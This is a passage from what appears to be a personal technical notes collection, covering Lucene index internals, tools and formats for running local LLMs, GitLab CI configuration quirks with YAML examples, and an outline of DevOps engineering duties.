Doc 1: norm=0.707
Doc 2: norm=0.5

# .nvm: norms metadata.
Field count: 1
Field 0: body (norms)
  offset: 0x00000000
  encoding: byte
  numDocs: 3

Field Settings

Each field in a lucene document has the following boolean separate settings:

• indexed: The field is searchable (terms go into the inverted index).
• stored: The field’s original value is saved so it can be retrieved with the document.
• docValues: The field’s value is stored in columnar form for sorting, faceting, etc.

Norms

Norms are small numeric factors Lucene computes per field, per document to help with relevance scoring.

They typically encode things like:

• How long the field is (shorter fields often get a boost),
• Whether it contains many terms,
• Field-level boosts applied at indexing time.

These are used when computing the TF-IDF or BM25 score that determines how relevant a document is to a query.

Doc values

Doc values are Lucene’s columnar data store — think of them like a per-field database column.

They’re designed for:

• Sorting: e.g., sort search results by “price” or “date”
• Faceting: e.g., count how many documents per “category”
• Analytics: e.g., compute averages, histograms, or aggregations

Index operations

Deletions

The deletes are soft, each segment has bitset for each doc. 0 is set to set the doc for deletion.

On Segment merge, the segments with higher deleted docs are prioritized.

Updates

Updating a previously indexed document is a “cheap” delete followed by a re-insertion of the document. Updating a document is even more expensive than adding it in the first place. Thus, storing things like rapidly changing values in a Lucene index is probably not a good idea – there is no in-place update of values.

References

• What is in a Lucene index - Speaker Deck
• Exploring Apache Lucene - Part 1: The Index — Jedr Blaszyk
• Exploring Apache Lucene - Part 2: Search and Ranking — Jedr Blaszyk

LLMs

Running LLMs

Timeline:

Inception

• Sept 2022: Georgi Gerganov initiated the GGML (Georgi Gerganov Machine Learning) library as a C library implementing tensor algebra with strict memory management and multi-threading capabilities. This foundation would become crucial for efficient CPU-based inference.
• Mar 2023: llama.cpp built on top of GGML with pure C/C++ with no dependencies. -> LLM execution on standard hardware without GPU requirements.
• Jun 2023: Ollama Docker-like tool for AI models, simplifying the process of pulling, running, and managing local LLMs through familiar container-style commands. It became the easiest entry point for users wanting to experiment with local models.

Standardization

• Aug 2023: GGUF format (GGML Universal Format) successor to GGML format. GGUF provided an extensible, future-proof format storing comprehensive model metadata and supporting significantly improved tokenization code.
• 2024: Multiple tools
  • vLLM emerged as a high-throughput inference server optimized for serving multiple users
  • GPT4All developed into a comprehensive desktop application with over 250,000 monthly active users
  • LM Studio became a popular cross-platform desktop client for model management

The flow

Building the model

• Model is built and trained used PyTorch, Tensorflow, Jax or another framework
• The frameworks outputs the model weights:
  • JAX/Flax: msgpack checkpoints (flax_model.msgpack) + config.json
  • Tf/Keras: SavedModel directory (saved_model.pb + variables/) or HDF5 file (model.h5)
  • PyTorch: .pt or .pth saved with torch.save(model.state_dict(), "model.pt")
  • ONNX (Open Neural Network Exchange) a cross-framework intermediate format used to transfer models, it has a ONNX runtime which can run it
• The models can be converted to Hugging Face model formats
  • pytorch_model.bin or model.safetensors → the weights (can be multiple shards if big).
  • config.json → architecture hyperparameters (hidden size, number of layers, etc.).
  • tokenizer.json, tokenizer.model, special_tokens_map.json, etc. → tokenizer files.
  • generation_config.json → default generation params.

model.safetensors is a safe, zero-copy serialization format for tensors. Alternative to PyTorch’s pickle-based .bin (which can execute arbitrary code on load — unsafe). And supports other frameworks like TF and Jax. And it is convertible to GGUF and other formats and can be run by vLLM natively.

Running the models (vLLM vs llama.cpp)

• vLLM: Runs the model in HF format (Inference). It can start a inference server with OpenAI-compatible API
• The model can be converted further (compiled into) to TensorRT which is NVIDIA’s inference optimization runtime (For all DL models). It takes a model in any format (PyTorch, ONNX) and compiles it into a TensorRT engine .plan file highly optimized for Nvidia GPUs. (This is used if we are targeting Nvidia GPUs)

vLLM doesn’t use TensorRT by default (it uses its own kernel tricks), but you could use TensorRT separately.

• In Apple Silicon the model can be converted using MLX to use the Integrated Memory. MLX optimized the model for inference in Apple Silicon (quantization for example)
• Convert the model from HF format to GGUF format (Quantization).
• Run the GGUF on llama.cpp on CPU and low resource hardware.

Running the models as a user

• Create a Modelfile to package the model a la Dockerfile.

FROM ./model-q4_k_m.gguf
PARAMETER temperature 0.7
TEMPLATE """{{ .Prompt }}"""

• Build the model ollama create mymodel -f Modelfile and run it ollama run mymodel.

• We can push/pull the model.

• While ollama is developer friendly/focused, there are other tools geared towards end users like gpt4all and LM studio (GUI first, marketplace, builtin chat ui ...)

• Common AI Model Formats

Running Local LLMs

Prerequisites

• CUDA: Application programming interface for Nvidia GPUs
• AMD ROCm is an open software stack including drivers, development tools, and APIs that enable GPU programming from low-level kernel to end-user applications.
• Intel OneApi: Same but has a different goal, trying to standardize computation over CPU and GPUs and FPGAs ...

Inference Engines

• google/gemma.cpp: lightweight, standalone C++ inference engine for Google's Gemma models.

Serving Frameworks

These are serving frameworks in the sense that they do the entire thing including compression, deployment, Serving, memory management, Caching ... While the previous category only runs the model on the hardware (with some optimization but not a fully fledged framework). -LMDeploy: it is also a solution for running LLMs (Inference).

Dev Oriented

• Ollama: Uses docker like concepts to manage and run models
• LocalAI:
  • It supports a lot of backends including llama.cpp, vllm, and hf transformers ...
  • It support Hardware acceleration on various models.
  • If I can say it is the most complete but it feels cumbersome.
  • It support a declarative way to define models.
  • It is container first. Run with container images | LocalAI
• mozilla-ai/llamafile: 1 executable file models (it relies on llama.cpp)

Containers

• Ramalama:
  • Supports multiple transports (ollama:// hf:// and oci:// and ModelScope://)
  • ramalama support 3 runtimes: ollama.cpp, vllm and mlx.
  • It starts a container image with everything needed to run the model including optimizations. On run ramalama detects the GPU information and decides which image to use.
• Docker:
  • Same but the ai models are not standard OCI images, which make them not pull-able from ramalama
  • Docker has introduced ability to run MCP servers.

GUIs

• GPT4All: uses LLama.cpp as a backend
• LM Studio: used LLama.cpp as a backend and supports MLX on Apple silicon.
• menloresearch/jan: Jan is an open source alternative to ChatGPT that runs 100% offline on your computer

• cocktailpeanut/dalai: The simplest way to run LLaMA on your local machine
• AI Model & API Providers Analysis | Artificial Analysis

Expose reports artifacts to next jobs

To expose reports artifacts to next jobs we use artifacts:paths

job:
  artifacts:
    paths:
      - report-name.json
    reports:

Terraform templates

There are 3 gitlab-ci.yml terraform template file.

1. Base: Contains hidden jobs to do different base tasks
2. Base.Latest: Same as Base but with the latest terraform image
3. Latest: Contains 4 jobs that use Base to do the underlying tasks

Include doesn't support anchor scripts

Gitlab CI doesn't play well with script overriding and includes

include: 
  - local: '.gitlab/ci/frontend.yml'

Client Tests:
  extends: .g-frontend-lint-test
  variables:
    CACHE_COMPRESSION_LEVEL: "fast"
  script:
    - *yarn-lint-script
    - *yarn-test-script
  stage: test
  needs: ["Client Install Deps"]

You can’t use YAML anchors across different YAML files sourced by include. You can only refer to anchors in the same file. To reuse configuration from different YAML files, use !reference tags or the extends keyword.

This makes sense since include is a gitlab CI syntax and anchor are yaml syntax. So including a CI file does not imply the inclusion of all the yaml syntax.

I suggest you try to use the !reference or the extends keywords.

Jobs: Grouping

Joint commands bug

Gitlab CI scripts have a weird bug.

If multiple commands are combined into one command string, only the last command’s failure or success is reported Source

The bug is discussed thoroughly here!(should read) Source

There is another bug with mono-line commands. Mostly related to the same bug. Source

Non blocking manual jobs

Manual jobs block the pipelines .i.e Pipelines won't have a success status until the manual jobs are run.

To allow pipelines to succeed even if the manual jobs are not run, we should specify allow_failure on them.

- if: '$CI_MERGE_REQUEST_IID'
  when: manual
  # If this is not specified the pipline will be blocked until
  # the job is run manually
  allow_failure: true 

• Source
• Another discussion

Triggers

• We use trigger to define downstream pipeline trigger. When a trigger job starts a downstream pipeline is created.
• trigger is user to create multi-project pipelines.
• trigger can be used in conjunction with a small set of keywords.

rule:changes in MR pipelines

In an MR pipelines rules:changes uses git diff from the parent refs, an not from the last pushed commit.

test:
  ...
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
      changes:
        - api/*
    ...

If we make changes to api/* in the first commit pushed to the MR, the test job will be created for all the next commits pushed to the MR even if we don\t make changes to api/*.

More in this issue

rules:if does not support job local variables.

rules:if does does not access variables from the same job they are declared on.

The following job will run on master and preprod.

variables:
  BRANCH_REGEX: '/staging|preprod|master|demo/'

workflow:
  rules:
    - if: '$FORCE_GITLAB_CI'
    - if: '$CI_MERGE_REQUEST_IID'
      # REGEX IN VARIABLE
    - if: '$CI_COMMIT_BRANCH =~ $BRANCH_REGEX'

rules-override-workflow-with-variables:
  variables:
    BRANCH_REGEX: '/staging|demo/'
  script:
    - echo "testing rules override workflow with variables"
  rules:
    - if: '$CI_COMMIT_BRANCH =~ $BRANCH_REGEX'

!reference and arrays

Up to 14.02 !reference is not useful with arrays, outside of script tag variants. Since it inserts nested arrays, instead of flattening them.

script tags support nested arrays, so they work fine with !reference.

More on this issue

rules overrides workflow:rules

rules overrides workflow:rules and doesn't merge with them. workflow:rules are evaluated first to create the pipeline or not. Then rules are evaluated for each job.

workflow:
  rules:
    - if: '$FORCE_GITLAB_CI'
    - if: '$CI_MERGE_REQUEST_IID'
      # REGEX IN VARIABLE
    - if: '$CI_COMMIT_BRANCH =~ $BRANCH_REGEX'

when-with-rules-over-workflow:
  script:
    - echo "testing when with rules over workflow"
  rules:
    - if: '$CI_MERGE_REQUEST_IID'
      when: manual

The when-with-rules-over-workflow: job will run on MRs only and not on the BRANCH_REGEX.

Rules' variables

We can set variables for rules:if.

The variable is set on the job if the conditions inside the rules are met! This is so powerful since it will allow for dynamic jobs (change jobs based on variables).

job:
  variables:
    DEPLOY_VARIABLE: "default-deploy"
  rules:
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      variables:                              # Override DEPLOY_VARIABLE defined
        DEPLOY_VARIABLE: "deploy-production"  # at the job level.
    - if: $CI_COMMIT_REF_NAME =~ /feature/
      variables:
        IS_A_FEATURE: "true"                  # Define a new variable.
  script:
    - echo "Run script with $DEPLOY_VARIABLE as an argument"
    - echo "Run another script if $IS_A_FEATURE exists"

More in the docs

Service Intercommunication

services docker links to connect the running job (build) to the other containers defined in services. So the connection is one to many from the build job to the services.

https://docs.gitlab.com/ee/ci/services/#debug-a-job-locally.

To enable intercommunication between services, we use FF_NETWORK_PER_BUILD feature flag which replaces the links with user-defined bridge network.

More here!

cache:key:files does not support variables

Gitlab does not yet support variables in cache:key:files.

https://docs.gitlab.com/ee/ci/variables/where_variables_can_be_used.html

This does not work, the cache created uses default as its key and does not take the file into consideration.

cache:
  key:
    files:
      - $CI_PROJECT_DIR/cache-key.txt
  paths:
    - $CI_PROJECT_DIR/hello.txt

Nested Variables

Gitlab started supporting nested variables in 13.10 (under feature-flag).

BUILD_ROOT_DIR: '${CI_BUILDS_DIR}'

Docs

DevOps Guide

DevOps engineering

"DevOps Engineer"" is a highly relative job title. Purists will tell you the term makes no sense because DevOps is a methodology, not a person. Yet, you will find thousands of job listings, each defining the role differently.

In many cases, these positions are simply rebranded Operations engineers or SysAdmin roles equipped with modern tooling. However, the actual scope of a DevOps Engineer varies widely and typically entails one or more of the following tasks:

• Build: Core Infrastructure & Operations
  • Provisioning and maintaining resources, whether on-premise or in the cloud.
  • System Administration: Installing, patching, and maintaining OS-level components (Linux/Windows). This includes managing users, permissions, and filesystems.
  • Configuration Management: Automating the setup and maintenance of software configurations across servers.
  • Networking & Storage: Managing software-defined networking (VPCs, subnets) and storage volumes.
  • Operations Management: Handling routine maintenance, backups, and general system health.
  • Database Management: Basic provisioning, replication setup, and ensuring data persistence.
• Design: Architecture & Design
  • System Design: Architecting solutions based on needs, e.g. choosing between loosely coupled (microservices) or tightly coupled (monoliths) structures.
  • High Availability & Scalability Strategy: Designing systems to withstand traffic spikes (auto-scaling) and regional failures (redundancy).
  • Cloud Architecture: eciding which managed services (Serverless, Managed SQL, Object Storage) to use versus building from scratch.
• automate: Automation & Tooling
  • Automation: Replacing manual UI interactions with reproducible code.
  • Scripting & Middleware Development: Writing scripts to connect tools that don't natively talk to each other.
  • Infrastructure as Code (IaC): Defining the entire environment in configuration files rather than manual setup.
• Release Engineering & Software Supply Chain
  • Software Supply Chain Management: Managing dependencies, auditing libraries for safety, and generating Software Bill of Materials (SBOM).
  • Deployment Strategy (e.g., Weekly Deployment): Executing releases using strategies like "Blue/Green" swaps or "Canary" releases to limit the blast radius of errors.
  • Version Control Management: Enforcing branching strategies (e.g., GitFlow vs. Trunk-Based) to keep code organized.
  • Artifact Management: Securing compiled binaries and container images in private registries.
• Operate: Reliability & Incident Management (SRE)
  • Monitoring & Observability: Setting up dashboards to track metrics (CPU, latency), logs (errors), and traces (user journey).
  • Incident Response: Acting as the first responder during outages to triage and coordinate fixes.
  • Post-Incident Review (Post-Mortems): Writing Root Cause Analysis (RCA) reports after incidents to prevent recurrence.
  • Chaos Engineering: Stress-testing systems by intentionally breaking components to ensure recovery automation works.
• Help: Developer Experience (DevEx)
  • Developer Environment Building: Creating pre-configured environments (e.g., DevContainers) so new hires can code on Day 1 without setup friction.
  • Internal Developer Platform (IDP): Building self-service portals where developers can provision their own resources without blocking Ops.
  • Documentation & Knowledge Base: Maintaining runbooks and wikis to prevent "brain drain" when engineers leave.
• Protect: Security & Governance (DevSecOps)
  • Security & Compliance: Ensuring infrastructure meets legal standards (GDPR, HIPAA, PCI-DSS) and internal policies.
  • Identity & Access Management (IAM): Enforcing "Least Privilege" to ensure developers don't have unnecessary "God mode" access to production.
  • Vulnerability Scanning: Automating security checks for both infrastructure (OS patches) and application code (libraries).
• Collaborate: Culture & People
  • Team Support: Acting as a technical unblocker for development teams.
  • Coaching: Providing DevOps coaching to teams to instill cultural best practices.
  • FinOps: Monitoring cloud costs and guiding teams toward architecting cost-effective solutions.

Fundamentals

Networking

• Networking tutorial by Ben Eater: Very nice and short tutorial on how networks work from physical layer to TCP/IP.
• Software Networking and Interfaces on Linux: Very nice tutorial about Linux Interfaces.
  • Part 1
  • Part 2

Storage

• 2 Types of M.2 SSDs: SATA and NVMe: Kingston made a very good series of article and videos about SSDs in their blog. The blog has some very good content.

Linux

• LPIC preparation books by tuxcademy